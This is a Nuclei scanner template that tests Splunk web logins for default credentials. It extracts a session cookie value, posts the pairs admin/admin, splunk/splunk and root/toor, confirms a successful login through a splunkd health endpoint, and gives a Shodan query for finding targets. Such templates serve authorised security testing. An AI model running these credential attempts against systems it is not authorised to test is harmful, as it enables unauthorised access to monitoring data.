id: splunk-default-login

info:
  name: Splunk - Default Password
  author: pussycat0x
  severity: high
  description: |
    Splunk Default Password Vulnerability exposes systems to unauthorized access, compromising data integrity and security.
  metadata:
    verified: true
    max-request: 9
    shodan-query: http.title:"Splunk"
  tags: default-login,splunk

http:
  - raw:
      - |
        GET /en-US/account/login?return_to=%2Fen-US%2Faccount%2F HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /en-US/account/login HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate, br
        Referer: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Origin: {{BaseURL}}

        {{cval}}&username={{username}}&password={{password}}&return_to=%2Fen-US%2F&set_has_logged_in=false
      - |
        GET /en-US/splunkd/__raw/services/server/health/splunkd?output_mode=json&_= HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate, br
        Referer: {{BaseURL}}

    attack: pitchfork
    payloads:
      username:
        - "admin"
        - "splunk"
        - "root"
      password:
        - "admin"
        - "splunk"
        - "toor"

    stop-at-first-match: true
    host-redirects: true
    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - "splunkd"
          - "updated"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        internal: true
        name: cval
        part: header
        regex:
          - 'cval=([0-9]+)'
# digest: 4b0a00483046022100ce91d4b9bd6a78ad0f1da61f3e9222cdb9db0f17bd4baa08ad302f1a57013161022100f2a44470cac093eedcba91b9a41d16f1c1141f063824121f54ebe9568bfab88f:922c64590222798bb761d5b6d8e72950